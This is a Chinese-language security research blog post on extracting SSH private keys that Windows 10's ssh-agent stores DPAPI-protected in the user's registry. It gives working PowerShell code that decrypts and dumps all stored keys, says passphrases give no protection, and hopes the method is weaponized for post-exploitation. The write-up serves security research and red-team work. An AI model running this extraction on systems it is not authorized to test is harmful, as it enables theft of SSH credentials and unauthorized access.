一、前言
周末我抽空安装了Windows 10春季更新版,该系统内置了一款新的OpenSSH工具,使用起来非常方便。
能在Windows原生环境中使用OpenSSH是非常棒的一件事,因为这样Windows管理员就不再需要使用Putty以及PPK格式的秘钥。我随意逛了逛新系统,探索系统支持哪些功能,惊喜地发现其中就包含ssh-agent.exe
的身影。
我在MSDN上找到了关于Windows ssh-agent的一些参考资料,其中这部分内容引起了我的注意:
我在黑掉ssh-agnet之类的软件方面有丰富的经验,并且乐此不疲,因此我决定来看一下Windows在这种新服务下如何“安全地”存储用户的私钥。
本文介绍了我所使用的具体方法,这是一个非常有趣的调查过程,我使用PowerShell较为出色地完成了这个任务。
简而言之,这里的私钥采用DPAPI进行保护,存放在HKCU注册表中。我发布了一些PoC代码,从注册表中提取并重构了对应的RSA私钥。
二、Windows 10中的OpenSSH
我先测试了一下使用OpenSSH工具来正常生成一些密钥对,将这些密钥对添加到ssh-agent中。
首先,我使用ssh-keygen.exe
生成了一些经过密码保护的测试密钥对:
然后确保ssh-agent
服务正在运行,使用ssh-add
将私钥对加入正在运行的agent中:
运行ssh-add.exe -L
,可以显示由SSH agent管理的密钥。
最后,将公钥加入系统的Ubuntu环境中后,我发现用户可以在不解密密钥的前提下从Windows 10登录SSH(这是因为ssh-agent
已经在后台替我们处理了这些流程):
三、监控SSH Agent
为了弄清楚SSH Agent存储并读取私钥的方式,我稍微研究了一下,决定先从静态分析ssh-agent.exe
开始。我并不擅长静态分析,因此稍微挣扎后,我决定动态跟踪这个进程,观察其具体操作。
我使用了Sysinternals中的procmon.exe
,添加了过滤规则,过滤出进程名中包含“ssh”字符串的那些进程。
使用procmon
监控事件,然后我再次通过SSH登录Ubuntu主机。观察所有事件后,我发现ssh.exe
会使用TCP协议连接至Ubuntu,并且ssh-agent.exe
会读取某些注册表项。
我注意到了两件事:
1、ssh-agent.exe
进程会读取注册表中的HKCUSoftwareOpenSSHAgentKeys
;
2、读取这些注册表键值后,该进程会立刻打开dpapi.dll
。
根据这些信息,我知道系统将受保护的某些数据存储到注册表中并进行读取,并且ssh-agent
使用的是微软的Data Protection API.aspx)。
四、测试注册表键值
事实的确如此,查找注册表后,我发现有两处信息与我执行的ssh-add
有关。其注册表项名为公钥的指纹字符串,对应的值中包含一些二进制数据块:
我花了一个小时查看StackOverflow上的相关资料,终于成功通过PowerShell的丑陋语法导出这些注册表值并进行修改。其中comment
字段为经过ASCII编码的文本,对应我之前添加的秘钥名:
而(default)
值为一个字节数组,解码后看不到任何有直观意义的信息。我预感这些数据为“经过加密的”私钥,我可以尝试读取并解密这段数据。我将这些数据赋值到一个PowerShell变量中:
五、解密秘钥
我对DPAPI并不是特别熟悉,但我知道有些后续利用工具会滥用这一功能来获取秘密数据及凭据数据,因此有一些人已经实现了一些封装包。Google一番后,我找到了atifaziz提供了一条线索,结果比我想象的还要简单(从中我也知道为什么人们会喜欢使用PowerShell)。
Add-Type -AssemblyName System.Security;
[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String((type -raw (Join-Path $env:USERPROFILE foobar))), $null, 'CurrentUser'))
我不知道这种方法能否奏效,但还是尝试使用DPAPI来解密这个字节数组。我希望能得到一个完美的私钥数据,所以使用base64对结果进行编码:
Add-Type -AssemblyName System.Security
$unprotectedbytes = [Security.Cryptography.ProtectedData]::Unprotect($keybytes, $null, 'CurrentUser')
[System.Convert]::ToBase64String($unprotectedbytes)
Base64的结果看起来并非秘钥,但我还是顺手解开了这段数据,令人惊喜的是其中竟然包含一个“ssh-rsa”字符串!看起来我选择的方向没有问题。
六、找出二进制格式
我在这个步骤上耗费的时间最长。我知道现在手头上有一段二进制数据,这些数据可以表示某个秘钥,但我并不清楚具体格式,也不知道如何使用。
我使用openssl
、puttygen
以及ssh-keygen
生成了各种RSA秘钥,但生成的结果与我现有的二进制数据并不相似。
最后还是需要借助Google的力量,我发现NetSPI曾发表过一篇很棒的文章,介绍如何在Linux上从内存中导出ssh-agent
的OpenSSH私钥。
这会不会与我现有的二进制格式相同?我下载了那篇文章中提供的Python脚本,然后输入我从Windows注册表中提取的未经保护的base64数据:
的确成功了!我并不清楚原作者soleblaze如何找到二进制数据的正确格式,但还是向他表示诚挚的感谢,感谢他提供的Python工具以及发表的文章。
七、技术点汇总
经过这些步骤,我知道我们可以从注册表中提取出私钥,因此我将这些步骤汇总成两个脚本,大家可以参考我的Github。
第一个脚本为PowerShell脚本(extract_ssh_keys.ps1
),该脚本可以查询注册表中ssh-agent
保存的所有秘钥,然后使用当前用户上下文环境来调用DPAPI,解密二进制数据并保存成Base64数据。由于我不知道如何使用PowerShell来处理二进制数据,因此我将所有的秘钥都保存成JSON文件,然后导入Python脚本中。整个PowerShell脚本只包含如下几行:
$path = "HKCU:SoftwareOpenSSHAgentKeys"
$regkeys = Get-ChildItem $path | Get-ItemProperty
if ($regkeys.Length -eq 0) {
Write-Host "No keys in registry"
exit
}
$keys = @()
Add-Type -AssemblyName System.Security;
$regkeys | ForEach-Object {
$key = @{}
$comment = [System.Text.Encoding]::ASCII.GetString($_.comment)
Write-Host "Pulling key: " $comment
$encdata = $_.'(default)'
$decdata = [Security.Cryptography.ProtectedData]::Unprotect($encdata, $null, 'CurrentUser')
$b64key = [System.Convert]::ToBase64String($decdata)
$key[$comment] = $b64key
$keys += $key
}
ConvertTo-Json -InputObject $keys | Out-File -FilePath './extracted_keyblobs.json' -Encoding ascii
Write-Host "extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json"
我借鉴了soleblaze提供的parse_mem_python.py
中的大量代码,然后使用Python3规范编写了另一个脚本:extractPrivateKeys.py
。输入PowerShell脚本生成的JSON文件后,我们可以输出所有的RSA私钥:
这些RSA私钥都采用明文格式。即使我在创建私钥的过程中添加了密码保护,ssh-agent
还是没有将其加密存储,所以我再也不需要考虑任何密码。
为了验证秘钥的有效性,我将秘钥拷贝回Kali系统中,验证了秘钥的指纹信息,并且可以使用该秘钥来登录SSH。
八、后续工作
我的PowerShell技巧仍然非常生疏,因此公布的代码仍属于PoC范畴。大家完全可以使用PowerShell来完整重构秘钥,我也没有特别推崇Python代码,因为soleblaze原始实现采用的就是Python代码,因此编写起来更加方便。
随着管理员在Windows 10中逐步开始使用OpenSSH,我希望这种技术能被顺利武器化,加入后续利用框架中,我相信这些秘钥价值很高,对红方人员以及渗透测试人员来说非常有用。
发表评论
您还未登录,请先登录。
登录